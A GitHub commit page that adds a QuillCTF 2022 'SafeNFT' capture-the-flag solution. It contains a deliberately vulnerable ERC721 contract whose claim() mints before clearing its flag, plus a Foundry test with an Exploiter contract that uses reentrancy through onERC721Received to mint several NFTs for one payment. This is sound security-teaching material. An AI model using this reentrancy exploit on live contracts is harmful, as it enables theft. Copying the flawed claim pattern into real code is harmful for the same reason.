Thanks to visit codestin.com
Credit goes to github.com

Skip to content

Commit 77766e5

Browse files
authored
Add solution for QuillCTF 2022 - Challenge 4 (SafeNFT) (minaminao#8)
thank you ~
1 parent 347258e commit 77766e5

File tree

7 files changed

+128
-7
lines changed

7 files changed

+128
-7
lines changed

README.md

Lines changed: 6 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -51,10 +51,10 @@ If there are any incorrect descriptions, I would appreciate it if you could let
5151
- [Faking errors](#faking-errors)
5252
- [Foundry cheatcodes](#foundry-cheatcodes)
5353
- [Front-running](#front-running)
54-
- [Head overflow bug in calldata tuple ABI-reencoding (< Solidity 0.8.16)](#head-overflow-bug-in-calldata-tuple-abi-reencoding--solidity-0816)
55-
- [Arbitrary storage overwriting by setting an array length to `2^256-1` (< Solidity 0.6.0)](#arbitrary-storage-overwriting-by-setting-an-array-length-to-2256-1--solidity-060)
56-
- [Constructor that is just a function by a typo (< Solidity 0.5.0)](#constructor-that-is-just-a-function-by-a-typo--solidity-050)
57-
- [Storage overwrite via uninitialized storage pointer (< Solidity 0.5.0)](#storage-overwrite-via-uninitialized-storage-pointer--solidity-050)
54+
- [Head overflow bug in calldata tuple ABI-reencoding (\< Solidity 0.8.16)](#head-overflow-bug-in-calldata-tuple-abi-reencoding--solidity-0816)
55+
- [Arbitrary storage overwriting by setting an array length to `2^256-1` (\< Solidity 0.6.0)](#arbitrary-storage-overwriting-by-setting-an-array-length-to-2256-1--solidity-060)
56+
- [Constructor that is just a function by a typo (\< Solidity 0.5.0)](#constructor-that-is-just-a-function-by-a-typo--solidity-050)
57+
- [Storage overwrite via uninitialized storage pointer (\< Solidity 0.5.0)](#storage-overwrite-via-uninitialized-storage-pointer--solidity-050)
5858
- [Other ad-hoc vulnerabilities and methods](#other-ad-hoc-vulnerabilities-and-methods)
5959
- [Bitcoin](#bitcoin)
6060
- [Bitcoin basics](#bitcoin-basics)
@@ -300,6 +300,8 @@ Note:
300300
| [EthernautDAO: 4. VendingMachine](src/EthernautDAO/VendingMachine/) | `call` |
301301
| [DeFi-Security-Summit-Stanford: InsecureDexLP](src/DeFiSecuritySummitStanford/) | ERC-223, `tokenFallback()` |
302302
| [MapleCTF 2022: maplebacoin](src/MapleCTF/) | |
303+
| [QuillCTF 2023: SafeNFT](src/QuillCTF2022/SafeNFT) | ERC721, `safeMint()` |
304+
303305

304306
### Flash loan basics
305307
- Flash loans are uncollateralised loans that allow the borrowing of an asset, as long as the borrowed assets are returned before the end of the transaction. The borrower can deal with the borrowed assets any way they want within the transaction.

lib/foundry-huff

lib/openzeppelin-contracts

src/QuillCTF2022/README.md

Lines changed: 13 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -9,6 +9,7 @@ Here's the link to the challenges page: https://quillctf.super.site/challenges.
99
- [Road closed:](#road-closed)
1010
- [VIP Bank:](#vip-bank)
1111
- [Confidential Hash:](#confidential-hash)
12+
- [SafeNFT:](#safenft)
1213

1314

1415
---
@@ -50,3 +51,15 @@ Goerli link: https://goerli.etherscan.io/address/0xf8e9327e38ceb39b1ec3d26f5fad0
5051
```
5152
forge test --match-contract QuillCTF2Solved -vvvv
5253
```
54+
55+
## SafeNFT:
56+
https://quillctf.super.site/challenges/quillctf-challenges/bulletproof-nft
57+
58+
**Objective**:
59+
Claim multiple NFTs for the price of one.
60+
61+
Goerli Link: https://goerli.etherscan.io/address/0xf0337cde99638f8087c670c80a57d470134c3aae
62+
63+
```
64+
forge test --match-contract SafeNFTSolved -vvvv
65+
```
Lines changed: 77 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,77 @@
1+
// SPDX-License-Identifier: MIT
2+
pragma solidity ^0.8.0;
3+
4+
import "forge-std/Test.sol";
5+
6+
/// ./challenge/SafeNFT.sol
7+
8+
/// Define the interface for the Target contract
9+
interface ITarget {
10+
function buyNFT() external payable;
11+
12+
function claim() external;
13+
14+
function balanceOf(address owner) external view returns (uint256);
15+
}
16+
17+
interface IERC721Receiver {
18+
function onERC721Received(
19+
address operator,
20+
address from,
21+
uint256 tokenId,
22+
bytes calldata data
23+
) external returns (bytes4);
24+
}
25+
26+
/// Define the Exploiter contract
27+
contract Exploiter is IERC721Receiver {
28+
ITarget public immutable target;
29+
30+
constructor(ITarget _target) payable {
31+
target = _target;
32+
}
33+
34+
function payForOneNFT() public {
35+
target.buyNFT{value: 0.01 ether}();
36+
}
37+
38+
function exploit() public {
39+
target.claim();
40+
}
41+
42+
function onERC721Received(
43+
address operator,
44+
address from,
45+
uint256 tokenId,
46+
bytes calldata data
47+
) external override returns (bytes4) {
48+
/// Reentrancy attack: Call claim until we mint multiple NFTs for the price of 1
49+
if (target.balanceOf(address(this)) < 2) target.claim();
50+
51+
return IERC721Receiver.onERC721Received.selector;
52+
}
53+
}
54+
55+
contract SafeNFTSolved is Test {
56+
ITarget target = ITarget(0xf0337Cde99638F8087c670c80a57d470134C3AAE);
57+
Exploiter exploiter;
58+
59+
function setUp() public {
60+
/// Run the test against the goerli testnet fork
61+
vm.createSelectFork("https://rpc.ankr.com/eth_goerli", 8168379);
62+
63+
/// Deploy the exploiter contract with 2 ether (any amount more than 0.1 ether will work)
64+
exploiter = new Exploiter{value: 2 ether}(target);
65+
}
66+
67+
function test_exploit() external {
68+
uint256 balanceETHBefore = address(exploiter).balance;
69+
exploiter.payForOneNFT();
70+
exploiter.exploit();
71+
uint256 balanceETHAfter = address(exploiter).balance;
72+
73+
/// Objective: Exploiter should mint more than 1 NFT for the price of 1
74+
assertGt(target.balanceOf(address(exploiter)), 1);
75+
assertEq(balanceETHBefore - balanceETHAfter, 0.01 ether);
76+
}
77+
}
Lines changed: 29 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,29 @@
1+
// SPDX-License-Identifier: UNLICENSED
2+
3+
pragma solidity 0.8.7;
4+
5+
import "openzeppelin-contracts/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
6+
7+
contract SafeNFT is ERC721Enumerable {
8+
uint256 price;
9+
mapping(address => bool) public canClaim;
10+
11+
constructor(
12+
string memory tokenName,
13+
string memory tokenSymbol,
14+
uint256 _price
15+
) ERC721(tokenName, tokenSymbol) {
16+
price = _price; //price = 0.01 ETH
17+
}
18+
19+
function buyNFT() external payable {
20+
require(price == msg.value, "INVALID_VALUE");
21+
canClaim[msg.sender] = true;
22+
}
23+
24+
function claim() external {
25+
require(canClaim[msg.sender], "CANT_MINT");
26+
_safeMint(msg.sender, totalSupply());
27+
canClaim[msg.sender] = false;
28+
}
29+
}

0 commit comments

Comments
 (0)